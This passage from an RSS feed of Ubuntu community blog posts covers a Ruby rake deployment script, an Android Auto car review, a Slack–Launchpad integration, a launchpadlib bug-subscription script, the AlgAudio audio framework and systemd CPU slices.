    # Pull in the changes
    if ! system("git pull --ff-only #{remote} #{branch}")
      puts "EE: Failed to fast-forward to #{branch}"
      exit 1
    end

    # Base command to check for differences
    cmd = "git diff --quiet #{tag}..HEAD"

    if system("#{cmd} Gemfile Gemfile.lock")
      puts "II: No updates to bundled gems"
    else
      puts "II: Running bundler..."
      Bundler.with_clean_env do
        if ! system("bundle install")
          puts "EE: Error running bundle install"
          exit 1
        end
      end
    end

    if system("#{cmd} db/schema.rb db/migrate/")
      puts "II: No db changes"
    else
      puts "II: Running db migrations..."
      # We run this as a sub process to avoid errors
      if ! system("rake db:migrate")
        puts "EE: Error running db migrations"
        exit 1
      end
    end

    if system("#{cmd} Gemfile.lock app/assets/")
      puts "II: No changes to assets"
    else
      puts "II: Running asset updates..."
      if ! system("rake assets:precompile")
        puts "EE: Error precompiling assets"
        exit 1
      end
      system("rake assets:clean")
    end

    puts "II: Restarting Passenger..."
    FileUtils.touch("tmp/restart.txt")

    puts "II: Checking HTTP response code..."

    uri = URI.parse(server_url)
    res = nil

    Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|
      req = Net::HTTP::Head.new(uri, {'User-Agent' => 'deploy/net-check'})
      res = http.request req
    end

    if res.code != "200"
      puts "EE: Server returned #{res.code}!!!"
      exit 1
    else
      puts "II: Everything appears to be ok"
    end
  end
end</code></pre><br />
Here's an example of the command output:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>$ rake myapp:deploy
II: Starting deployment...
remote: Counting objects: 15, done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 8 (delta 6), reused 0 (delta 0)
Unpacking objects: 100% (8/8), done.
From /home/user/myapp
   efee45c..e5468c1  master     -> origin/master
From /home/user/myapp
 * branch            master     -> FETCH_HEAD
Updating efee45c..e5468c1
Fast-forward
 app/views/users/_display.html.erb     | 7 +++++--
 public/svg/badges/caretakers-club.svg | 1 -
 2 files changed, 5 insertions(+), 3 deletions(-)
 delete mode 100644 public/svg/badges/caretakers-club.svg
II: No updates to bundled gems
II: No db changes
II: No changes to assets
II: Restarting Passenger...
II: Checking HTTP response code...
II: Everything appears to be ok
Time: 3.031 secs</code></pre>]]></description>
      <source url="http://feeds.feedburner.com/benmcollins13/ubuntu">Ben Collins</source>
    </item>
    <item>
      <title>Speaking at San Diego Linux users group</title>
      <link>https://philipballew.wordpress.com/2016/03/21/speaking-at-san-diego-linux-users-group/</link>
      <guid isPermaLink="true">https://philipballew.wordpress.com/2016/03/21/speaking-at-san-diego-linux-users-group/</guid>
      <pubDate>Mon, 21 Mar 2016 23:31:49 GMT</pubDate>
      <description><![CDATA[<p>Earlier this month, I had the honor and privilege of speaking at the San Diego Linux users group. I spoke about ways to customize your Ubuntu desktop, the talk finished a little earlier than the group meeting was planned to go to, so I used that time to talk about some of the server stuff with Ubuntu, as well as the switch to systemd. This seemed to take up the rest of the time. Overall, I was able to have a great experience and felt that I benefited Ubuntu tremendously.Thanks again for the invite everybody!</p>
<div data-shortcode="caption" id="attachment_328" style="width: 610px" class="wp-caption alignnone"><a href="https://philipballew.wordpress.com/wp-content/uploads/2016/03/kplug.jpg" rel="attachment wp-att-328"><img aria-describedby="caption-attachment-328" data-attachment-id="328" data-permalink="https://philipballew.wordpress.com/2016/03/21/speaking-at-san-diego-linux-users-group/kplug/#main" data-orig-file="https://philipballew.wordpress.com/wp-content/uploads/2016/03/kplug.jpg" data-orig-size="1024,576" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="kplug" data-image-description="" data-image-caption="&lt;p&gt;Nice picture of the group that I spoke to&lt;/p&gt;
" data-large-file="https://philipballew.wordpress.com/wp-content/uploads/2016/03/kplug.jpg?w=600" src="https://philipballew.wordpress.com/wp-content/uploads/2016/03/kplug.jpg?w=600&#038;h=338" alt="Nice picture of the group that I spoke to" width="600" height="338" class="size-full wp-image-328" srcset="https://philipballew.wordpress.com/wp-content/uploads/2016/03/kplug.jpg?w=600&amp;h=338 600w, https://philipballew.wordpress.com/wp-content/uploads/2016/03/kplug.jpg?w=150&amp;h=84 150w, https://philipballew.wordpress.com/wp-content/uploads/2016/03/kplug.jpg?w=300&amp;h=169 300w, https://philipballew.wordpress.com/wp-content/uploads/2016/03/kplug.jpg?w=768&amp;h=432 768w, https://philipballew.wordpress.com/wp-content/uploads/2016/03/kplug.jpg 1024w" sizes="(max-width: 600px) 100vw, 600px" /></a><p id="caption-attachment-328" class="wp-caption-text">Nice picture of the group that I spoke to</p></div>]]></description>
      <source url="https://philipballew.wordpress.com/feed/?mrss=off">Philip Ballew</source>
    </item>
    <item>
      <title>Test Android Auto – New Opel Astra [ENG]</title>
      <link>https://www.mirkopizii.com/ubuntu-com-planet/test-android-auto-new-opel-astra-eng/</link>
      <guid isPermaLink="true">https://www.mirkopizii.com/ubuntu-com-planet/test-android-auto-new-opel-astra-eng/</guid>
      <pubDate>Sat, 30 Jan 2016 23:00:00 GMT</pubDate>
      <description><![CDATA[<p>Well yes, not only reviews and tests only for products like computer but today we are also on <strong>car industry</strong> testing the new <strong>Opel Astra Elective</strong> which supports <strong>Android Auto</strong>.</p>
<p>First of all, before I start, I want to thanks my friend Davide, who works in Opel workshop, for all of his patience and availability gave to me. Really thanks because he lets me to write this review.<br />
Of course, I tested this all with him smartphone (OnePlus Two) and mine (Nexus 5). Screenshots made by him <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<h2><strong>Details about new Opel Astra Elective</strong></h2>
<p>Unfortunately in this first &#8220;episode&#8221; I will focus on use of <strong>Android Auto </strong>but, if you want to see more (explained) car&#8217;s details, you can go to Opel website: <a href="http://www.opel.com/" target="_blank" rel="noopener">http://www.opel.com/</a></p>
<h2><strong>What is Android Auto?</strong></h2>
<p>I don&#8217;t know how to say.. Android Auto is all and nothing&#8230;</p>
<p>What I want to say, informally, is that Android Auto is what we see on our car&#8217;s display..<br />
It seems a common operative system where, by default, there are different separate applications installed where you may have to update them for fixing bugs and you may need to go to your trusted mechanical.</p>
<p>No, you have not to do all these things I wrote. It&#8217;s only a sort of &#8220;Screen Mirroring&#8221; or better, you see in your car&#8217;s display, what you should see on your smartphone&#8217;s screen. You may ask &#8220;what about apps?&#8221;.<br />
No problem with apps, they are directly to your smartphone! It sounds strange, no?</p>
<p>So ok, you might not understand what I&#8217;m saying and of course, what you can do with Android Auto.<br />
To give an example, you can think about using modern technology system (including functionalities of your smarphone) into every car that have Android Auto receiver.<br />
After installing official application via Play Store, you will be able to open, through display, apps which gives support such as <strong>Spotify, WhatsApp</strong>, standard functionalities like messages, calls, <strong>Google Maps, Google Play Music</strong> and many more.<br />
Of course to go on, you should connect your smartphone to your car using the USB cables.</p>
<h2><strong>Exploring Android Auto</strong></h2>
<p>If we remove the automatic access to Android Auto when we connect the phone, or we exit from this mode without disconnect it from USB, the <strong>&#8220;Trasmission&#8221;</strong> icon will be the one of Android Auto.</p>
<p style="text-align: center;"><span id="fbPhotoSnowliftCaption" class="fbPhotosPhotoCaption" tabindex="0" data-ft="{&quot;tn&quot;:&quot;K&quot;}"><span class="hasCaption"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/1_Android_auto_opelastra.jpg" target="_blank" rel="noopener"><img fetchpriority="high" decoding="async" class="aligncenter wp-image-346 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/1_Android_auto_opelastra-300x225.jpg" alt="1_Android_auto_opelastra" width="300" height="225" /></a></span></span><em>(Click image to enlarge)</em></p>
<hr />
<p>After connection, you can see a short and fast tutorial which explain you how to use Android Auto.<br />
Of course if you haven&#8217;t install &#8220;Android Auto&#8221; application, you will be required to do it through Play Store.</p>
<p>This is the first thing that appear after the connection is this:</p>
<p style="text-align: center;"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/2_Android_auto_opelastra.jpg" target="_blank" rel="noopener"><img decoding="async" class="aligncenter wp-image-351 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/2_Android_auto_opelastra-300x225.jpg" alt="2_Android_auto_opelastra" width="300" height="225" /></a><em>(Click image to enlarge)</em></p>
<hr />
<p>Here is the small tutorial where the app explain the first steps.. In this screen, Android Auto say that we can press button (available on steering wheel) to active vocal commands (and here we will use <strong>Google Now</strong> functionalities).</p>
<p style="text-align: center;"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/3_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-352 noopener"><img decoding="async" class="aligncenter wp-image-352 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/3_Android_auto_opelastra-300x225.jpg" alt="3_Android_auto_opelastra" width="300" height="225" /></a><em>(Click image to enlarge)<br />
</em></p>
<hr />
<p style="text-align: left;">We don&#8217;t like the button or it does not work anymore because we broke it? No problem, we could use the vocal commands by pressing microphone icon on the top right.</p>
<p style="text-align: center;"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/4_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-353 noopener"><img loading="lazy" decoding="async" class="aligncenter wp-image-353 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/4_Android_auto_opelastra-300x225.jpg" alt="4_Android_auto_opelastra" width="300" height="225" /></a><em>(Click image to enlarge)</em></p>
<hr />
<p style="text-align: left;">And here, the app shows us menu&#8217; which have the role of launcher. It lets us to access to various applications like navigator, phone, music, etc.<br />
About navigator, by default, it&#8217;s used Google Maps, Google Play Music for our music and the default app we have for everything we want.</p>
<p style="text-align: left;">Of course we can use different messaging apps like WhatsApp, Telegram and so on but only if they are compatible with Android Auto. (They will be more soon).</p>
<p style="text-align: center;"><span class="fbPhotosPhotoCaption" tabindex="0" data-ft="{&quot;tn&quot;:&quot;K&quot;}"><span class="hasCaption"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/5_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-354 noopener"><img loading="lazy" decoding="async" class="wp-image-354 size-medium alignnone" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/5_Android_auto_opelastra-300x225.jpg" alt="5_Android_auto_opelastra" width="300" height="225" /></a><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/6_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-355 noopener"><img loading="lazy" decoding="async" class="wp-image-355 size-medium alignnone" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/6_Android_auto_opelastra-300x225.jpg" alt="6_Android_auto_opelastra" width="300" height="225" /></a></span></span></p>
<p style="text-align: center;"><em>(Click image to enlarge)</em></p>
<hr />
<p style="text-align: left;">When all it&#8217;s loaded (and accepted warnings), we will be in front of first screen which is what we see into <strong>Google Now</strong> and so, what we see on our phone, we will see into car&#8217;s display..</p>
<p style="text-align: left;">In my case, I see that I can start navigator to drive to Modena or I can choose the last address that I&#8217;ve inserted into Google Maps. Other informations displayed are traffic, and how much the trip would take, in terms of time.</p>
<p style="text-align: center;"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/7_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-357 noopener"><img loading="lazy" decoding="async" class="aligncenter wp-image-357 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/7_Android_auto_opelastra-300x225.jpg" alt="7_Android_auto_opelastra" width="300" height="225" /></a><em>(Click image to enlarge)</em></p>
<hr />
<p style="text-align: left;">We don&#8217;t like Google Play Music or we don&#8217;t have internet connection? No problem we can use the default radio Opel system. Here&#8217;s how it will be.<br />
Note, we can also see the weather forecast.. It&#8217;s surely the Google Now!</p>
<p style="text-align: center;"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/8_Android_auto_opelastra-1.jpg" target="_blank" rel="attachment wp-att-359 noopener"><img loading="lazy" decoding="async" class="aligncenter wp-image-359 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/8_Android_auto_opelastra-1-300x225.jpg" alt="8_Android_auto_opelastra" width="300" height="225" /></a><em>(Click image to enlarge)</em></p>
<hr />
<p style="text-align: left;">Touching the <strong>&#8220;Phone&#8221;</strong> icon, we can see our address book. If we want, we can also digit phone number and start calling.<br />
Naturally, we can use vocal commands when available by press on button on steering wheel or display.</p>
<p style="text-align: center;"><span id="fbPhotoSnowliftCaption" class="fbPhotosPhotoCaption" tabindex="0" data-ft="{&quot;tn&quot;:&quot;K&quot;}"><span class="hasCaption"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/9_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-360 noopener"><img loading="lazy" decoding="async" class="aligncenter wp-image-360 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/9_Android_auto_opelastra-300x225.jpg" alt="9_Android_auto_opelastra" width="300" height="225" /></a></span></span><em>(Click image to enlarge)</em></p>
<hr />
<p style="text-align: left;">Starting navigation, as said, we have 3D view of Google Maps and also here, we can insert address by talking (through vocal commands) or write it with touchscreen.</p>
<p style="text-align: center;"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/10_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-361 noopener"><img loading="lazy" decoding="async" class="aligncenter wp-image-361 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/10_Android_auto_opelastra-300x225.jpg" alt="10_Android_auto_opelastra" width="300" height="225" /></a><em>(Click image to enlarge)</em></p>
<hr />
<p style="text-align: left;">We was talking about choose different application instead of default..<br />
When we press button on menu, if more apps are available for the selection, before the default we will be asked to select which one we want to use.<br />
For example, pressing music icon, we will be asked if open Google Play Music or Spotify.</p>
<p style="text-align: center;"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/11_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-362 noopener"><img loading="lazy" decoding="async" class="aligncenter wp-image-362 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/11_Android_auto_opelastra-300x225.jpg" alt="11_Android_auto_opelastra" width="300" height="225" /></a><em>(Click image to enlarge)</em></p>
<hr />
<p style="text-align: left;">Yeah, Spotify is available (and we can see it through selections) and we choose it!<br />
What say, we have convergence with different devices, in fact, using and installing only one application, we can have compatibility for phone and Android Auto.<br />
Spotify of course it&#8217;s really similar to what appears on our phone.</p>
<p style="text-align: center;"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/12_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-363 noopener"><img loading="lazy" decoding="async" class="alignnone wp-image-363 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/12_Android_auto_opelastra-300x225.jpg" alt="12_Android_auto_opelastra" width="300" height="225" /></a><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/13_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-364 noopener"><img loading="lazy" decoding="async" class="alignnone wp-image-364 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/13_Android_auto_opelastra-300x225.jpg" alt="13_Android_auto_opelastra" width="300" height="225" /></a></p>
<p style="text-align: center;"><em>(Click image to enlarge)</em></p>
<hr />
<p style="text-align: left;">Also WhatsApp it&#8217;s available with Android Auto and you can notice how the small notification appears when we receive message.<br />
Touching the notification (on display), the system will read us the message via TTS (Text-To-Speech) and we can obviously reply thanks to the vocal system.</p>
<p>Anyway, we can also send a message saying &#8220;Send Message&#8221; followed with the name of contact.</p>
<p style="text-align: center;"><span id="fbPhotoSnowliftCaption" class="fbPhotosPhotoCaption" tabindex="0" data-ft="{&quot;tn&quot;:&quot;K&quot;}"><span class="hasCaption"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/14_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-365 noopener"><img loading="lazy" decoding="async" class="aligncenter wp-image-365 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/14_Android_auto_opelastra-300x225.jpg" alt="14_Android_auto_opelastra" width="300" height="225" /></a></span></span><em>(Click image to enlarge)</em></p>
<hr />
<p>You received message and you have to reply without press keys on touchscreen? If available, we can answer with a fast standard reply like &#8220;I&#8217;m driving, sorry!&#8221; as WhatsApp do.</p>
<p style="text-align: center;"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/15_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-366 noopener"><img loading="lazy" decoding="async" class="aligncenter wp-image-366 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/15_Android_auto_opelastra-300x225.jpg" alt="15_Android_auto_opelastra" width="300" height="225" /></a><em>(Click image to enlarge)</em></p>
<hr />
<p style="text-align: left;">You don&#8217;t like or don&#8217;t want to use Android Auto anymore? You&#8217;re free to exit (also with smartphone connected).</p>
<p style="text-align: center;"><a ref="magnificPopup" href="https://www.mirkopizii.com/wp-content/uploads/2016/01/16_Android_auto_opelastra.jpg" target="_blank" rel="attachment wp-att-367 noopener"><img loading="lazy" decoding="async" class="aligncenter wp-image-367 size-medium" src="https://www.mirkopizii.com/wp-content/uploads/2016/01/16_Android_auto_opelastra-300x225.jpg" alt="16_Android_auto_opelastra" width="300" height="225" /></a><em>(Click image to enlarge)</em></p>
<hr />
<h2 style="text-align: left;"><strong>Conclusions</strong></h2>
<p style="text-align: left;">What I can say, in my honest opinion it&#8217;s really curious and nice.. Maybe if the maps of Google Maps would be more updated like &#8220;Tom Tom&#8221;, it would be really something perfect.<br />
After all, also the possibility of developing own applications for Android Auto or using existing one for music, messages, and so on.. It&#8217;s something really nice.</p>
<p style="text-align: left;">About me, I like it and it deverves all the best. <strong>Really congratulations to Google!</strong></p>
<p style="text-align: left;">Of course, if you&#8217;re instered into developing apps, having more details or see who supports Android Auto, you can visit this website: <a href="https://www.android.com/intl/en/auto/" target="_blank" rel="noopener">https://www.android.com/intl/en/auto/</a>.</p>
<p style="text-align: left;"><em>Note: if you found something incorrect about what I said or about my not best english, write into comments please.. Thank you!</em></p>]]></description>
      <source url="http://www.mirkopizii.com/category/ubuntu-com-planet/feed/?mrss=off">Mirko Pizii</source>
    </item>
    <item>
      <title>How to Integrate Slack with Launchpad</title>
      <link>https://daker.me/2016/01/how-to-integrate-slack-with-launchpad.html</link>
      <guid isPermaLink="true">https://daker.me/2016/01/how-to-integrate-slack-with-launchpad.html</guid>
      <pubDate>Tue, 26 Jan 2016 00:00:00 GMT</pubDate>
      <description><![CDATA[<p>Slack is a great platform for team communication, it is a collection of chat rooms, both public and private. It helps confine all your team communications to one place. Slack also provides an API to let you interacte with it, so i have to decided to write a simple app using Flask to integrate Slack with Launchpad using its new webhooks feature.</p>
<p><img src="https://daker.me/assets/posts/slack/lp_slack.png" alt="Launchpad &amp; Slack logos" /></p>
<h2>Deploying to Heroku</h2>
<p>You can check the full steps in the <a href="https://github.com/daker/launchpad-slack/blob/master/README.md">README</a> file</p>
<pre class="language-sh"><code class="language-sh">$ <span class="token function">git</span> clone git@github.com:daker/launchpad-slack.git<br />$ <span class="token builtin class-name">cd</span> launchpad-slack<br />$ heroku create<br />$ <span class="token function">git</span> push heroku master<br />$ heroku <span class="token function">open</span></code></pre>
<p>Once installed and everything is configured, things will start working like a charm :</p>
<p><img src="https://daker.me/assets/posts/slack/mr.png" alt="Slack chat" />
<img src="https://daker.me/assets/posts/slack/bug.png" alt="Slack Slash command" /></p>
<h2>Contributing</h2>
<p>Of course of you can contribute fixes and improvements, how to do it ? easy :</p>
<ul>
<li>Fork it</li>
<li>Create your feature branch (<code>git checkout -b my-new-feature</code>)</li>
<li>Commit your changes (<code>git commit -am 'Add some feature'</code>)</li>
<li>Push to the branch (<code>git push origin my-new-feature</code>)</li>
<li>Create new Pull Request</li>
</ul>]]></description>
      <source url="http://daker.me/feed-ubuntuplanet.xml">Adnane Belmadiaf</source>
    </item>
    <item>
      <title>mass subscriptions</title>
      <link>http://polka.bike/blog/mass-subs</link>
      <guid isPermaLink="true">http://polka.bike/blog/mass-subs</guid>
      <pubDate>Fri, 11 Dec 2015 23:12:44 GMT</pubDate>
      <description><![CDATA[<p>As you may be aware, Lubuntu is transitioning from GTK to Qt graphics libraries, which means a transition from LXDE to LXQt. Same people, more or less, just different libs. Of course, every component is different. We finally have packages in Debian and Ubuntu Xenial. There's even <a href="https://lists.ubuntu.com/archives/lubuntu-devel/2015-December/000063.html">instructions</a> on how to install them!</p>
<p>We needed to subscribe our <a href="https://launchpad.net/~lubuntu-packaging">Lubuntu Packages Team</a> to all of these bug mails. Sure, we could have went to 18 different source package pages and just clicked our way to it, but that kind of takes a darn while. </p>
<p>Luckily there's a solution: <a href="https://help.launchpad.net/API/launchpadlib">launchpadlib</a>. Just a <code>pip install</code> away (or use package python-launchpadlib), it gives you all sorts of control over and access to Launchpad data. It's almost better than using the web interface! Well, assuming you're fine with Python.</p>
<p>In our case here, it's possible to simply name a team and/or person and give it a list of packages and have it subscribe them all. Takes a few seconds after you have the code, which you can find <a href="https://github.com/tsimonq2/masspackagelp">here</a>. The meat of the code is one line:</p>
<div class="pygments_monokai syntax_highlight"><pre><span class="n">lp</span><span class="o">.</span><span class="n">distributions</span><span class="p">[</span><span class="s">&#39;ubuntu&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">getSourcePackage</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="n">filearray</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">.</span><span class="n">addBugSubscription</span><span class="p">(</span><span class="n">subscriber</span><span class="o">=</span><span class="n">lp</span><span class="o">.</span><span class="n">people</span><span class="p">[</span><span class="n">teamtowrite</span><span class="p">])</span><br/></pre></div>

<p>which is basically like saying for a particular source package in the Ubuntu project, add a bug subscription for the particular team or person. Heck, it almost reads like normal English.</p>
<p>This might be useful for normal people, too. Say you wanted to subscribe to all the bugs for a particular set of packages you're helping to develop. It'd be great for that. </p>
<p>More than anything, it shows the power of the Launchpad API and the hard work that Colin and the rest of the Launchpad team put into it!</p>
<p>With that, I'd like to especially thank cjwatson, dobey, and wgrant, whom were all helpful in figuring this out on IRC, as well as <a href="https://wiki.ubuntu.com/tsimonq2">tsimonq2</a>, who was responsible for the majority of the code.</p>]]></description>
      <source url="http://polka.bike/blog/category/planet-ubuntu/feed/index.xml">Walter Lapchynski</source>
    </item>
    <item>
      <title>Current progress on AlgAudio</title>
      <link>https://rafalcieslak.wordpress.com/2015/10/06/current-progress-on-algaudio/</link>
      <guid isPermaLink="true">https://rafalcieslak.wordpress.com/2015/10/06/current-progress-on-algaudio/</guid>
      <pubDate>Tue, 06 Oct 2015 18:24:20 GMT</pubDate>
      <description><![CDATA[<p><em>&#8230; or &#8220;what I&#8217;ve been working on for the past three months&#8221;.</em></p>
<p>So this summer I have participated in a programming internship at <a href="http://www.filmstudioceta.pl/">Audiovisual Technology Center &#8211; CeTA</a> in Wrocław. CeTA is developing a number of very exciting projects, and the one I had the pleasure to work on is <strong>AlgAudio</strong>.</p>
<p><img class="alignnone" src="https://i0.wp.com/i.imgur.com/JQU8xWD.png" alt="screenshot" width="674" height="800" /></p>
<p><em>(download links available below)</em></p>
<p>AlgAudio is a new signal processing framework that we&#8217;ve been developing from scratch. The user builds an audio processing network by placing &#8220;building blocks&#8221; of simple operations, connecting them together, configuring their parameters, and defining how the parameters should influence each other. The network works in real time, so any changes to the parameters are immediately reflected in the outputted audio. This makes AlgAudio a perfect tool for live performances.</p>
<p><span id="more-385"></span></p>
<p>The general concept was inspired by <a href="https://en.wikipedia.org/wiki/Max_%28software%29">Max/MSP</a>, but AlgAudio is intended to provide a higher-level interface. It is supposed to be used by musicians, so we do our best to make it easy to work with without any programming or mathematical skills. The building blocks usually represent a more complex operation (comparing to Max or PureData), and expose a number of parameters that can be manually configured, or controlled live via an external controller.</p>
<p>At this stage, AlgAudio is ready to be tried out. Most core features are already implemented, so you can actually build really interesting synthesizers. However, there is still a lot to be done. Most importantly, the module collections need expansion (currently only the very basic modules are available, for example there are no audio filtering blocks available ATM), the module browser needs a better hierarchical structure, we are missing a number of parameter connecting modes, the UI needs various improvements, subpatching and polyphonic features need improvements, and we need a test framework to ensure top quality.</p>
<p>We also believe that creating external modules should be very simple, so that third-parties can provide their own module collections. The API is not quite stable yet, but we&#8217;re getting there. This is what an example module looks like:</p>
<pre class="brush: xml; title: ; notranslate">
  &lt;module id=&quot;mix3&quot; name=&quot;3ch mixer&quot;&gt;
    &lt;params&gt;
      &lt;inlet id=&quot;in1&quot;/&gt;
      &lt;inlet id=&quot;in2&quot;/&gt;
      &lt;inlet id=&quot;in3&quot;/&gt;
      &lt;outlet id=&quot;out&quot;/&gt;
    &lt;/params&gt;
    &lt;description&gt; This module mixes three channels together. &lt;/description&gt;
    &lt;sc&gt;
arg in1, in2, in3, out;
var sum = In.ar(in1) + In.ar(in2) + In.ar(in3); 
Out.ar(out, sum);
    &lt;/sc&gt;
    &lt;gui type=&quot;standard auto&quot;/&gt;
  &lt;/module&gt;
</pre>
<p>It&#8217;s that simple!</p>
<p>But what if you would like to inject custom features? AlgAudio has a built-in plugin system. Each module may come with custom logic. The C++ interface allows interaction with literally any other AlgAudio component (you might even get as far as to, say, get your module to modify how other modules are displayed!). Below is the source of a simple module that sums the values of two parameters, and outputs the result as a third parameter.</p>
<pre class="brush: cpp; title: ; notranslate">
class DataSum : public AlgAudio::Module{
  void on_param_set(std::string name, float value){
    float v  = GetParamControllerByID(&quot;input1&quot;)-&gt;Get();
          v += GetParamControllerByID(&quot;input2&quot;)-&gt;Get();
    GetParamControllerByID(&quot;output&quot;)-&gt;Set(v);
  }
};
</pre>
<p>This source code should be pretty self-explanatory. Does it get much more complex? Here&#8217;s a sequencer module that outputs a hard-coded sequence:</p>
<pre class="brush: cpp; title: ; notranslate">
class SimpleSeq : public AlgAudio::Module{
public:
  int i = 7;
  int seq[8] = {60, 62, 64, 65, 64, 62, 69, 67};
  const  float fill = 0.8;
  void on_init(){
    step();
  }
  void step(){
    i = (i+1)%8;
    int note = seq[i];
    float period = GetParamControllerByID(&quot;period&quot;)-&gt;Get();
    GetParamControllerByID(&quot;freq&quot;)-&gt;Set( AlgAudio::Utilities::mtof(note) );
    GetParamControllerByID(&quot;gate&quot;)-&gt;Set(1.0f);
    timerhandles += AlgAudio::Timer::Schedule(period * fill, [this](){
      GetParamControllerByID(&quot;gate&quot;)-&gt;Set(0.0f);
    });
    timerhandles += AlgAudio::Timer::Schedule(period, [this](){
      step();
    });
  }
  
};
</pre>
<p>You can browse the API <a href="http://cielak.org/algaudio/doc/">here</a>.</p>
<p>We are releasing AlgAudio under the terms of the <strong>Lesser GNU General Public License</strong>, so you&#8217;ll be free to use it however you like. We host AlgAudio <a href="https://github.com/rafalcieslak/algaudio">source code</a> on Github.</p>
<p>At this moment the development of AlgAudio will significantly slow down, as we are looking for funds and contributors. We will be thankful if you could notify us about your interest in AlgAudio (contact either <a href="https://rafalcieslak.wordpress.com/about/">me</a> or CeTA).</p>
<h2>Download</h2>
<p>AlgAudio will be getting an official website soon, but before that you can download binaries for Linux and Windows from Github (OS X support is planned). <a href="https://github.com/rafalcieslak/AlgAudio/releases/tag/v1.99.1">Downloads for 1.99.1</a></p>
<p>Please keep in mind that this is not a stable release, and we cannot guarantee that AlgAudio won&#8217;t crash sometimes. If you find any bugs, please <a href="https://github.com/rafalcieslak/AlgAudio/issues">report them here</a>.</p>]]></description>
      <source url="https://rafalcieslak.wordpress.com/category/ubuntu/feed/?mrss=off">Rafał Cieślak</source>
    </item>
    <item>
      <title>Resource control with systemd</title>
      <link>https://dktrkranz.wordpress.com/2015/09/02/resource-control-with-systemd/</link>
      <guid isPermaLink="true">https://dktrkranz.wordpress.com/2015/09/02/resource-control-with-systemd/</guid>
      <pubDate>Wed, 02 Sep 2015 16:31:54 GMT</pubDate>
      <description><![CDATA[<p>I&#8217;m receiving more requests for upload accounts to the <a href="http://debomatic-amd64.debian.net">Deb-o-Matic</a> servers lately (yay!), but that means the resources need to be monitored and shared between the build daemons to prevent server lockups.</p>
<p>My servers are running systemd, so I decided to give <a href="http://www.freedesktop.org/software/systemd/man/systemd.resource-control.html">systemd.resource-control</a> a try. My goal was to assign lower CPU shares to the build processes (debomatic itself, sbuild, and all the related tools), in order to avoid blocking other important system services from being spawned when necessary.</p>
<p>I created a new <a href="http://www.freedesktop.org/software/systemd/man/systemd.slice.html">slice</a>, and set a lower CPU share weight:<br />
<code>$ cat /etc/systemd/system/debomatic.slice<br />
[Slice]<br />
CPUAccounting=true<br />
CPUShares=512<br />
$<br />
</code></p>
<p>Then, I assigned the slice to the service unit file controlling debomatic daemons by adding the <em>Slice=debomatic.slice</em> option under the <em>Service</em> directive.</p>
<p>That was not enough, though, as some processes were assigned to the user slice instead, which groups all the processes spawned by users:<br />
<img src="https://dktrkranz.wordpress.com/wp-content/uploads/2015/09/systemd-cgls.png?w=700" alt="systemd-cgls" /></p>
